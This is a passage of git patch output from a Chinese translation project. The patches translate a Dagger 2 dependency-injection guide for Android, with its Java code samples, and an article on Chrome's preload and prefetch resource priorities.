-If we wish to have multiple components that do not need to remain in memory all the time (i.e. components that are tied to the lifecycle of an activity or fragment, or even tied to when a user is signed-in), we can create dependent components or subcomponents.  In either case, each provide a way of encapsulating your code. We'll see how to use both in the next section. 
+如果我们不需要组件总是存在于内存中（例如，和 activity 或 fragment 生命周期绑定，或在用户登录时绑定），我们可以创建依赖组件和子组件。它们各自提供了一种封装你的代码的方式。我们将在下一节中看到如何使用它们。
 
-There are several considerations when using these approaches:
+在使用这种方法时，有若干问题要注意：
 
-  * **Dependent components require the parent component to explicitly list out what dependencies can be injected downstream, while subcomponents do not.**   For parent components, you would need to expose to the downstream component by specifying the type and a method:
+  * **依赖组件需要父组件显式指定哪些依赖可以在下游注入，而子组件不需要** 对父组件而言，你需要通过指定类型和方法来向下游组件暴露这些依赖：
 
 ```java
 // parent component
@@ -338,15 +338,16 @@ public interface NetComponent {
 }
 ```
 
-   If you forget to add this line, you will likely to see an error about an injection target missing.  Similar to how private/public variables are managed, using a parent component allows more explicit control and better encapsulation, but using subcomponents makes dependency injection easier to manage at the expense of less encapsulation. 
-
-  * **Two dependent components cannot share the same scope.**  For instance, two components cannot both be scoped to a `@Singleton` annotation.  This restriction is imposed because of reasons described [here](https://github.com/google/dagger/issues/107#issuecomment-71073298).  Dependent components need to define their own scope.
+   如果你忘记加入这一行，你将有可能看到一个关于注入目标缺失的错误。就像 private/public 变量的管理方式一样，使用一个 parent 组件可以更显式地控制，也可保证更好的封装。使用子组件使得依赖注入更容易管理，但封装得更差。
+   
+   
+  * **两个依赖组件不能使用同一个作用域** 例如，两个组件不能都用 `@Singleton` 注解设置定义域。这个限制的原因在 [这里](https://github.com/google/dagger/issues/107#issuecomment-71073298) 有所说明。依赖组件需要定义它们自己的作用域。
 
-  * **While Dagger 2 also enables the ability to create scoped instances, the responsibility rests on you to create and delete references that are consistent with the intended behavior.**  Dagger 2 does not know anything about the underlying implementation.  See this Stack Overflow [discussion](http://stackoverflow.com/questions/28411352/what-determines-the-lifecycle-of-a-component-object-graph-in-dagger-2) for more details.
+  * **Dagger 2 also enables the ability to create scoped instances, the responsibility rests on you to create and delete references that are consistent with the intended behavior.**  Dagger 2 does not know anything about the underlying implementation.  See this Stack Overflow [discussion](http://stackoverflow.com/questions/28411352/what-determines-the-lifecycle-of-a-component-object-graph-in-dagger-2) for more details.
 
-#### Dependent Components
+#### 依赖组件
 
-![Dagger Component Dependencies](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_dependency.png)
+![Dagger 组件依赖](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_dependency.png)
 
 For instance, if we wish to use a component created for the entire lifecycle of a user session signed into the application, we can define our own `UserScope` interface:
 

From 7bab5bba36409154012e962470cd4a086f81d105 Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sun, 2 Apr 2017 14:57:14 +0800
Subject: [PATCH 017/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 28 +++++++++++-----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index a3c8b10b53c..c2f702de822 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -349,7 +349,7 @@ public interface NetComponent {
 
 ![Dagger 组件依赖](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_dependency.png)
 
-For instance, if we wish to use a component created for the entire lifecycle of a user session signed into the application, we can define our own `UserScope` interface:
+如果你想要创建一个组件，使它的生命周期和已登录用户的 session 相绑定，就可以创建 `UserScope` 接口：
 
 ```java
 import java.lang.annotation.Retention;
@@ -360,7 +360,7 @@ public @interface UserScope {
 }
 ```
 
-Next, we define the parent component:
+接下来，我们定义父组件：
 
 ```java
   @Singleton
@@ -372,7 +372,7 @@ Next, we define the parent component:
   }
 ```
 
-We can then define a child component:
+接下来定义子组件：
 
 ```java
 @UserScope // using the previously defined scope, note that @Singleton will not work
@@ -382,7 +382,7 @@ public interface GitHubComponent {
 }
 ```
 
-Let's assume this GitHub module simply returns back an API interface to the GitHub API:
+假定 Github 模块只是把 API 接口返回给 github API:
 
 ```java
 
@@ -402,7 +402,7 @@ public class GitHubModule {
 }
 ```
 
-In order for this `GitHubModule.java` to get access to the `Retrofit` instance, we need explicitly define them in the upstream component.  If the downstream modules will be performing the injection, they should also be removed from the upstream components too:
+为了让这个 `GitHubModule.java` 获得对 `Retrofit` 实例的引用，我们需要在上游组件中显式定义它们。如果下游模块会执行注入，它们也应当被从上游组件中移除：
 
 ```java
 @Singleton
@@ -417,7 +417,7 @@ public interface NetComponent {
 }
 ```
 
-The final step is to use the `GitHubComponent` to perform the instantiation.  This time, we first need to build the `NetComponent` and pass it into the constructor of the `DaggerGitHubComponent` builder:
+最终的步骤是用 `GitHubComponent` 进行实例化。这一次，我们需要首先实现 `NetComponent` 并把它传递给 `DaggerGitHubComponent` builder 的构造方法：
 
 ```java
 NetComponent mNetComponent = DaggerNetComponent.builder()
@@ -431,16 +431,16 @@ GitHubComponent gitHubComponent = DaggerGitHubComponent.builder()
                 .build();
 ```
 
-See [this example code](https://github.com/codepath/dagger2-example) for a working example.
+[示例代码] (https://github.com/codepath/dagger2-example) 中有一个实际的例子。
 
-#### Subcomponents
-![Dagger subcomponents](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_subcomponent.png)
+#### 子组件
+![Dagger 子组件] (https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_subcomponent.png)
 
-Using subcomponents is another way to extend the object graph of a component.  Like components with dependencies, subcomponents have their own life-cycle and can be garbage collected when all references to the subcomponent are gone, and have the same scope restrictions.  One advantage in using this approach is that you do not need to define all the downstream components.  
+使用子组件是扩展组件对象图的另一种方式。就像带有依赖的组件一样，子组件有自己的的生命周期，而且在所有对子组件的引用都失效之后，可以被垃圾回收。此外它们作用域的限制也一样。使用这个方式的一个优点是你不需要定义所有的下游组件。
 
-Another major difference is that subcomponents simply need to be declared in the parent component.
+另一个主要的不同是，子组件需要在父组件中声明。
 
-Here's an example of using a subcomponent for an activity.  We annotate the class with a custom scope and the `@Subcomponent` annotation: 
+这是为一个 activity 使用子组件的例子。我们用自定义作用域和 `@Subcomponent` 注解这个类：
 
 ```java
 @MyActivityScope
@@ -450,7 +450,7 @@ public interface MyActivitySubComponent {
 }
 ```
 
-The module that will be used is defined below:
+被使用的模块在下面定义：
 
 ```java
 @Module
@@ -468,7 +468,7 @@ public class MyActivityModule {
 }
 ```
 
-Finally, in the **parent component**, we will define a factory method with the return value of the component and the dependencies needed to instantiate it:
+最后，在**父组件**中，我们将定义一个工厂方法，它以这个组件的类型作为返回值，并定义初始化所需的依赖：
 
 ```java
 @Singleton

From 6821fdfd392073801ca4fc1adc64b497708b733b Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sun, 2 Apr 2017 15:17:37 +0800
Subject: [PATCH 018/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 30 +++++++++++-----------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index c2f702de822..8d9261a327e 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -1,7 +1,7 @@
 > * 原文地址：[Dependency Injection with Dagger 2](https://github.com/codepath/android_guides/wiki/Dependency-Injection-with-Dagger-2)
 > * 原文作者：[CodePath](https://github.com/codepath)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： 
+> * 译者： [tanglie1993](https://github.com/tanglie1993)
 > * 校对者：
 
 # 用 Dagger 2 实现依赖注入
@@ -343,8 +343,8 @@ public interface NetComponent {
    
   * **两个依赖组件不能使用同一个作用域** 例如，两个组件不能都用 `@Singleton` 注解设置定义域。这个限制的原因在 [这里](https://github.com/google/dagger/issues/107#issuecomment-71073298) 有所说明。依赖组件需要定义它们自己的作用域。
 
-  * **Dagger 2 also enables the ability to create scoped instances, the responsibility rests on you to create and delete references that are consistent with the intended behavior.**  Dagger 2 does not know anything about the underlying implementation.  See this Stack Overflow [discussion](http://stackoverflow.com/questions/28411352/what-determines-the-lifecycle-of-a-component-object-graph-in-dagger-2) for more details.
-
+  * **Dagger 2 同样允许使用带作用域的实例。你需要负责在合适的时机创建和销毁引用。**  Dagger 2 对底层实现一无所知。这个 Stack Overflow [讨论](http://stackoverflow.com/questions/28411352/what-determines-the-lifecycle-of-a-component-object-graph-in-dagger-2) 上有更多的细节。
+  
 #### 依赖组件
 
 ![Dagger 组件依赖](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_dependency.png)
@@ -417,7 +417,7 @@ public interface NetComponent {
 }
 ```
 
-最终的步骤是用 `GitHubComponent` 进行实例化。这一次，我们需要首先实现 `NetComponent` 并把它传递给 `DaggerGitHubComponent` builder 的构造方法：
+最终的步骤是用 `GitHubComponent` 进行实例化。这一次，我们需要首先实现 `NetComponent` 并把它传递给 `DaggerGitHubComponent` 建造者的构造方法：
 
 ```java
 NetComponent mNetComponent = DaggerNetComponent.builder()
@@ -481,7 +481,7 @@ public interface MyApplicationComponent {
 }
 ```
 
-In the above example, a new instance of the subcomponent will be created every time that the `newMyActivitySubcomponent()` is called.  To use the submodule to inject an activity:
+在上面的例子中，一个子组件的新实例将在每次 `newMyActivitySubcomponent()` 调用时被创建。把这个子模块注入一个 activity 中：
 
 ```java
 public class MyActivity extends Activity {
@@ -497,12 +497,12 @@ public class MyActivity extends Activity {
 }
 ```
 
-#### Subcomponent Builders
-*Available starting in v2.7*
+#### 子组件建造者
+*从 v2.7 版本起可用*
 
-![Dagger subcomponent builders](https://raw.githubusercontent.com/codepath/android_guides/master/images/subcomponent_builders.png)
+![Dagger 子组件建造者](https://raw.githubusercontent.com/codepath/android_guides/master/images/subcomponent_builders.png)
 
-Subcomponent builders allow the creator of the subcomponent to be de-coupled from the parent component, by removing the need to have a subcomponent factory method declared on that parent component.  
+子组件建造者使创建子组件的类和子组件的父类解耦。这是通过移除父组件中的子组件工厂方法实现的。
 
 ```java
 @MyActivityScope
@@ -520,7 +520,7 @@ public interface SubcomponentBuilder<V> {
 }
 ```
 
-The subcomponent is declared as an inner interface in the subcomponent interface and it must include a `build()` method which the return type matching the subcomponent.  It's convenient to declare a base interface with this method, like `SubcomponentBuilder` above.  This new **builder must be added to the parent component graph** using a "binder" module with a "subcomponents" parameter:
+子组件是在子组件接口内部的接口中声明的。它必须含有一个  `build()` 方法，其返回值和子组件相匹配。用这个方法声明一个基接口是很方便的，就像上面的`SubcomponentBuilder` 一样。这个新的**建造者必须被加入父组件的图中**，而这是用一个 "binder" 模块和一个 "subcomponents" 参数实现的:
 
 ```java
 @Module(subcomponents={ MyActivitySubComponent.class })
@@ -543,7 +543,7 @@ public @interface SubcomponentKey {
 }
 ```
 
-Once the builders are made available in the component graph, the activity can use it to create its subcomponent:
+一旦建造者在出现在组件图中，activity 就可以用它来创建子组件：
 
 ```java
 public class MyActivity extends Activity {
@@ -564,13 +564,13 @@ public class MyActivity extends Activity {
 
 ## ProGuard
 
-Dagger 2 should work out of box without ProGuard, but if you start seeing `library class dagger.producers.monitoring.internal.Monitors$1 extends or implements program class javax.inject.Provider`, make sure your Gradle configuration uses the `annotationProcessor` declaration instead of `provided`. 
+Dagger 2 应当在没有 ProGuard 时可以直接使用，但是如果你看到了 `library class dagger.producers.monitoring.internal.Monitors$1 extends or implements program class javax.inject.Provider`，你需要确认你的 gradle 配置使用了 `annotationProcessor` 声明，而不是 `provided`。
 
-## Troubleshooting
+## 常见问题
 
-* If you are upgrading Dagger 2 versions (i.e. from v2.0 to v2.5), some of the generated code has changed.  If you are incorporating Dagger code that was generated with older versions, you may see `MemberInjector` and `actual and former argument lists different in length` errors.  Make sure to clean the entire project and verify that you have upgraded all versions to use the consistent version of Dagger 2.
+* 如果你在升级 Dagger 版本（比如从 v2.0 升级到 v 2.5），一些被生成的代码会改变。如果你在集成使用旧版本 Dagger 生成的代码，你可能会看到 `MemberInjector` 和 `actual and former argument lists different in length` 错误。确保你 clean 过整个项目，并且把所有版本升级到和 Dagger 2 相匹配的版本。
 
-## References
+## 参考资料
 
 * [Dagger 2 Github Page](http://google.github.io/dagger/)
 * [Sample project using Dagger 2](https://github.com/vinc3m1/nowdothis)

From 8dd3e79ac690d1b4864db8f27795bd0ba6a17288 Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sun, 2 Apr 2017 16:10:23 +0800
Subject: [PATCH 019/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index 8d9261a327e..eda7b86ea3f 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -8,11 +8,11 @@
 
 ## 概要 
 
-很多 Android 应用依赖于一些含有其它依赖的对象。例如，一个 Twitter API 客户端可能需要通过 [Retrofit](https://github.com/codepath/android_guides/wiki/Consuming-APIs-with-Retrofit) 之类的网络库被构建。要使用这个库，你可能还需要添加 [Gson](https://github.com/codepath/android_guides/wiki/Leveraging-the-Gson-Library) 这样的解析库。另外，实现认证或缓存的库可能需要使用 [shared preferences](https://github.com/codepath/android_guides/wiki/Storing-and-Accessing-SharedPreferences)或其它通用存储方式。这就需要先把它们实例化，并创建一个隐含的依赖链。
+很多 Android 应用依赖于一些含有其它依赖的对象。例如，一个 Twitter API 客户端可能需要通过 [Retrofit](https://github.com/codepath/android_guides/wiki/Consuming-APIs-with-Retrofit) 之类的网络库被构建。要使用这个库，你可能还需要添加 [Gson](https://github.com/codepath/android_guides/wiki/Leveraging-the-Gson-Library) 这样的解析库。另外，实现认证或缓存的库可能需要使用 [shared preferences](https://github.com/codepath/android_guides/wiki/Storing-and-Accessing-SharedPreferences) 或其它通用存储方式。这就需要先把它们实例化，并创建一个隐含的依赖链。
 
-如果你不熟悉依赖注入，看看[这个](https://www.youtube.com/watch?v=IKD2-MAkXyQ) 短视频。
+如果你不熟悉依赖注入，看看[这个](https://www.youtube.com/watch?v=IKD2-MAkXyQ)短视频。
 
-Dagger 2 为你解析这些依赖，并生成把它们绑定在一起的代码。也有很多其它的 Java 依赖注入框架，但它们中很多个是有缺陷的，比如依赖 XML，需要在运行时验证依赖，或者在起始时造成性能负担。 [Dagger 2](http://google.github.io/dagger/) 纯粹依赖于 Java [annotation processors](https://www.youtube.com/watch?v=dOcs-NKK-RA) 以及编译时检查来分析并验证依赖。它被认为是目前最高效的依赖注入框架之一。
+Dagger 2 为你解析这些依赖，并生成把它们绑定在一起的代码。也有很多其它的 Java 依赖注入框架，但它们中很多个是有缺陷的，比如依赖 XML，需要在运行时验证依赖，或者在起始时造成性能负担。 [Dagger 2](http://google.github.io/dagger/) 纯粹依赖于 Java [注解解析器](https://www.youtube.com/watch?v=dOcs-NKK-RA)以及编译时检查来分析并验证依赖。它被认为是目前最高效的依赖注入框架之一。
 
 ### 优点
 

From 0190808ea65372b1b25336cd47e6a8732fc22538 Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sun, 2 Apr 2017 16:25:16 +0800
Subject: [PATCH 020/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index eda7b86ea3f..a01f06cac81 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -313,7 +313,7 @@ public @interface MyActivityScope
 
 虽然 Dagger 2 在运行时不依赖注解，把 `RetentionPolicy` 设置为 RUNTIME 对于将来检查你的 module 将是很有用的。
 
-### 依赖组件和子组件
+### 依赖组件和
 
 利用作用域，我们可以创建 **依赖组件** 或 **子组件**。上面的例子中，我们使用了 `@Singleton` 注解，它持续了整个应用的生命周期。我们也依赖了一个主要的 Dagger 组件。  
 
@@ -434,7 +434,8 @@ GitHubComponent gitHubComponent = DaggerGitHubComponent.builder()
 [示例代码] (https://github.com/codepath/dagger2-example) 中有一个实际的例子。
 
 #### 子组件
-![Dagger 子组件] (https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_subcomponent.png)
+
+![Dagger 子组件](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_subcomponent.png)
 
 使用子组件是扩展组件对象图的另一种方式。就像带有依赖的组件一样，子组件有自己的的生命周期，而且在所有对子组件的引用都失效之后，可以被垃圾回收。此外它们作用域的限制也一样。使用这个方式的一个优点是你不需要定义所有的下游组件。
 

From 80ccf734ce0b8a648ad7efde532e8b0a6ed36af9 Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sun, 2 Apr 2017 16:26:25 +0800
Subject: [PATCH 021/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index a01f06cac81..b3591bf516d 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -431,7 +431,7 @@ GitHubComponent gitHubComponent = DaggerGitHubComponent.builder()
                 .build();
 ```
 
-[示例代码] (https://github.com/codepath/dagger2-example) 中有一个实际的例子。
+[示例代码](https://github.com/codepath/dagger2-example) 中有一个实际的例子。
 
 #### 子组件
 

From a226fce36b48189657af2b1eb82f73fbb76f905f Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sun, 2 Apr 2017 16:43:12 +0800
Subject: [PATCH 022/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index b3591bf516d..e36788e6667 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -313,7 +313,7 @@ public @interface MyActivityScope
 
 虽然 Dagger 2 在运行时不依赖注解，把 `RetentionPolicy` 设置为 RUNTIME 对于将来检查你的 module 将是很有用的。
 
-### 依赖组件和
+### 依赖组件和子组件
 
 利用作用域，我们可以创建 **依赖组件** 或 **子组件**。上面的例子中，我们使用了 `@Singleton` 注解，它持续了整个应用的生命周期。我们也依赖了一个主要的 Dagger 组件。  
 

From 5d7fb38ee99a8c99bc9be526290f540c9eb1136b Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Sun, 2 Apr 2017 22:48:25 +0800
Subject: [PATCH 023/638] =?UTF-8?q?Preload=EF=BC=8CPrefetch=20=E5=92=8C?=
 =?UTF-8?q?=E5=AE=83=E4=BB=AC=E5=9C=A8=20Chrome=20=E4=B9=8B=E4=B8=AD?=
 =?UTF-8?q?=E7=9A=84=E4=BC=98=E5=85=88=E7=BA=A7?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...eload-prefetch-and-priorities-in-chrome.md | 244 +++++++++---------
 1 file changed, 122 insertions(+), 122 deletions(-)

diff --git a/TODO/preload-prefetch-and-priorities-in-chrome.md b/TODO/preload-prefetch-and-priorities-in-chrome.md
index c669856f8c1..6d810042f3b 100644
--- a/TODO/preload-prefetch-and-priorities-in-chrome.md
+++ b/TODO/preload-prefetch-and-priorities-in-chrome.md
@@ -5,234 +5,234 @@
 > * 校对者：
 
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*W4_tAMHlFs6tunMxbXQjFA.png">
+<img src="https://cdn-images-1.medium.com/max/2000/1*W4_tAMHlFs6tunMxbXQjFA.png">
 
-# **Preload, Prefetch And Priorities in Chrome**
+# **Preload，Prefetch 和它们在 Chrome 之中的优先级**
 
-Today we’ll dive into insights from Chrome’s networking stack to provide clarity on how web loading primitives (like [**<link rel=“preload”>**](https://w3c.github.io/preload/) & [**<link rel=“prefetch”>**](https://w3c.github.io/resource-hints/)) work behind the scenes so you can be more effective with them.
+今天我们来深入研究一下 Chrome 的网络协议栈，来更清晰的描述网站加载（像 [**\<link rel=“preload”>**](https://w3c.github.io/preload/) 和 [**\<link rel=“prefetch”>**](https://w3c.github.io/resource-hints/)）背后的工作原理，让你对其更加了解。
 
-As covered well in [other articles](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/), **preload is a declarative fetch, allowing you to force the browser to make a request for a resource without blocking the document’s** [**onload**](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onload) **event**.
+**像[其他文章](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)描述的那样，preload 是声明式的 fetch，允许你在不阻塞文档 [onload](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onload) 事件的同时让浏览器对资源发起请求。**
 
-**Prefetch is a hint to the browser that a resource might be needed**, but delegates deciding whether and when loading it is a good idea or not to the browser.
+**Prefetch 是提示浏览器这个资源将来能需要**，但是把决定是否和什么时间加载最佳这个资源的权利委托给浏览器。
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*PSMeFcC3AXDUmdNf5l19Ug.jpeg">
+<img src="https://cdn-images-1.medium.com/max/2000/1*PSMeFcC3AXDUmdNf5l19Ug.jpeg">
 
-Preload can decouple the load event from script parse time. If you haven’t used it before, read ‘[Preload: What is it Good For?](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)’ by Yoav Weiss
+Preload 将 load 事件与脚本解析事件解耦，如果你还没有用过它，看看 Yoav Weiss 的文章 [Preload: What is it Good For?](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)。
 
-### Preload success stories in production sites
+### Preload 在生产环境的成功案例
 
-Before we dive into the details, here’s a quick summary of some positive impact to loading metrics that have been observed using preload in the last year:
+在我们深入细节之前，下面是上一年发现的使用 proload 并对加载产生积极影响的案例总结：
 
-Housing.com saw a [**~10% improvement in Time to Interactive**](https://twitter.com/HousingEngg/status/844169796891508737) when they switched to preloading key late-discovered scripts for their Progressive Web App:
+Housing.com 在对他们的仿原生 Web App 的脚本转用 proload 看到[**大约缩短了10%的可交互时间**](https://twitter.com/HousingEngg/status/844169796891508737)。
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*fZH0GKzI42x7IgxKfiaddA.png">
+<img src="https://cdn-images-1.medium.com/max/2000/1*fZH0GKzI42x7IgxKfiaddA.png">
 
-Shopify’s switch to [preloading Web Fonts](https://www.bramstein.com/writing/preload-hints-for-web-fonts.html) saw a[**50%**](https://twitter.com/ShopifyEng/status/844245243948163072) **(1.2 second) improvement in time-to-text-paint** on Chrome desktop (cable). This removed their flash-of-invisible text completely.
+Shopify 在转用 [preload 加载字体](https://www.bramstein.com/writing/preload-hints-for-web-fonts.html)后在 Chrome 桌面版获得了 [**50%**（1.2s）](https://twitter.com/ShopifyEng/status/844245243948163072) 的文字渲染优化，这完全解决了他们的文字闪动问题。
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/0*rDnsYXceRwO-xxSZ.">
+<img src="https://cdn-images-1.medium.com/max/1000/0*rDnsYXceRwO-xxSZ.">
 
-Left: with preload, Right: without ([video](https://video.twimg.com/tweet_video/C7dcmxaUwAAUhPX.mp4))
+左边：使用 preload，右边：不使用 preload（[视频](https://video.twimg.com/tweet_video/C7dcmxaUwAAUhPX.mp4)）
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/1*r2RiRVrghz5iDUnhBX8W1Q.png">
+<img src="https://cdn-images-1.medium.com/max/1000/1*r2RiRVrghz5iDUnhBX8W1Q.png">
 
-Web Font loading using <link rel=”preload”>
+使用`<link rel=”preload”>` 加载字体。
 
-Treebo, one of India’s largest hotel chains **shaved** [**1 second**](https://twitter.com/__lakshya/status/844429211867791361) **off both time to First Paint and Time to Interactive** for their desktop experience over 3G, by preloading their header image and key Webpack bundles:
+Treebo，印度最大的旅馆网站之一，在 3G 网络下对其桌面版试验，在对其顶部图片和主要的 Webpack 打包文件使用 preload 之后，在**首屏绘制和可交互时间分别节约了大约** [**1s**](https://twitter.com/__lakshya/status/844429211867791361)。
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*SKYdHNpGldFFUPZBDZQgSQ.png">
+<img src="https://cdn-images-1.medium.com/max/2000/1*SKYdHNpGldFFUPZBDZQgSQ.png">
 
-Similarly, by switching to preloading their key bundles, Flipkart [**shaved**](https://twitter.com/adityapunjani/status/844250835802619905) **a great deal of main thread idle** before route chunks get evaluated on their PWA (trace from a low-end phone over 3G):
+同样的，在对自己的仿原生 Web App 主要打包文件使用 preload 之后，Flipkart 在路由解析之前 **节省了大量的主线程空闲时间**（在 3G 网络下的低性能手机下）。
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/0*QL0ztXPZ1wUXpRKX.">
+<img src="https://cdn-images-1.medium.com/max/1000/0*QL0ztXPZ1wUXpRKX.">
 
-Top: without preload, Bottom: with preload
+上面：未使用 preload，下面：使用 preload
 
-And the Chrome Data Saver team saw **time to first contentful paint improvements of** [**12% on average**](https://medium.com/reloading/a-link-rel-preload-analysis-from-the-chrome-data-saver-team-5edf54b08715#.bgj9qkqfr)for pages that could use preload on scripts and CSS stylesheets.
+Chrome 数据保护小组声明在对脚本和 CSS 样式表使用 preload 之后，对页面第一次绘制获得[**平均 12%**](https://medium.com/reloading/a-link-rel-preload-analysis-from-the-chrome-data-saver-team-5edf54b08715#.bgj9qkqfr) 的性能提升。
 
-As for prefetch, it’s widely used and at Google we still use it in [Search results pages](https://plus.google.com/+IlyaGrigorik/posts/ahSpGgohSDo) to prefetch critical resources that can speed up rendering destination pages.
+对于 prefetch ，它被广泛使用，在 Google 我们仍用它来获取可以加快 [搜索结果页面](https://plus.google.com/+IlyaGrigorik/posts/ahSpGgohSDo) 的喧染的关键资源。
 
-Preload is used in production by large sites for a number of use-cases and you can find more of them later on in the article. Before that, let’s dive into how the network stack actually treats preload vs prefetch.
+Preload 在很多大型网站都有实际应用，这点你在接下来的文章里也可以看到，让我们来仔细探讨下网络协议栈实际上是如何对待 preload 和 prefetch 的。
 
-### When should you <link rel=”preload”> vs <link rel=”prefetch”>?
+### 什么时候该用 \<link rel=”preload”> ？ 什么时候又该用 \<link rel=”prefetch”> ?
 
-**Tip:** **Preload resources you have high-confidence will be used in the current page. Prefetch resources likely to be used for future navigations across multiple navigation boundaries.**
+**建议：对于当前页面很有必要的资源使用 preload，对于可能在将来的页面中使用的资源使用 prefetch。**
 
-Preload is an early fetch instruction to the browser to request a resource *needed* for a page (key scripts, Web Fonts, hero images).
+preload 是对浏览器指示预先请求当前页需要的资源（关键的脚本，字体，主要图片）。
 
-Prefetch serves a slightly different use case — a future navigation by the user (e.g between views or pages) where fetched resources and requests need to persist across navigations. If Page A initiates a prefetch request for critical resources needed for Page B, the critical resource and navigation requests can be completed in parallel. If we used preload for this use case, it would be immediately cancelled on Page A’s unload.
+prefetch 应用场景稍微又些不同 —— 用户将来可能在其他部分（比如视图或页面）使用到的资源。如果 A 页面发起一个 B 页面的 prefetch 请求，这个资源获取过程和导航请求可能是同步进行的，而如果我们用 preload 的话，页面 A 离开时它会立即停止。
 
-Between preload and prefetch, we get solutions for loading critical resources for the current navigation _or_ a future navigation.
+使用 preload 和 prefetch，我们有了对当前页面和将来页面加载关键资源的解决办法。
 
-### What is the caching behavior for <link rel=”preload”> and <link rel=”prefetch”>?
+###  \<link rel=”preload”> ？ 和 \<link rel=”prefetch”> 的缓存行为
 
-[Chrome has four caches](https://calendar.perfplanet.com/2016/a-tale-of-four-caches/): the HTTP cache, memory cache, Service Worker cache & Push cache. Both preload and prefetched resources are stored in the **HTTP cache.**
+[Chrome 有四种缓存](https://calendar.perfplanet.com/2016/a-tale-of-four-caches/): HTTP 缓存，内存缓存，Service Worker 缓存和 Push 缓存。preload 和 prefetch 都被存储在 **HTTP 缓存中**。
 
-When a resource is **preloaded or prefetched** is travels up from the net stack through to the HTTP cache and into the renderer’s memory cache. If the resource can be cached (e.g there’s a valid [cache-control](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control) with valid max-age), it is stored in the HTTP cache and is available for **current and future sessions**. If the resource is **not cacheable**, it does not get stored in the HTTP cache. Instead, it goes up to the memory cache and stays there until it gets used.
+当一个资源被 **preload 或者 prefetch** 获取后，它可以从 HTTP 缓存移动至渲染器的内存缓存中。如果资源可以被缓存（比如说存在有效的[cache-control](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control) 和 max-age），它被存储在 HTTP 缓存中可以被**现在或将来的任务使用**，如果资源不能被缓存在 HTTP 缓存中，作为代替，它被放在内存缓存中直到被使用。
 
-### How does Chrome’s network prioritisation handle preload and prefetch?
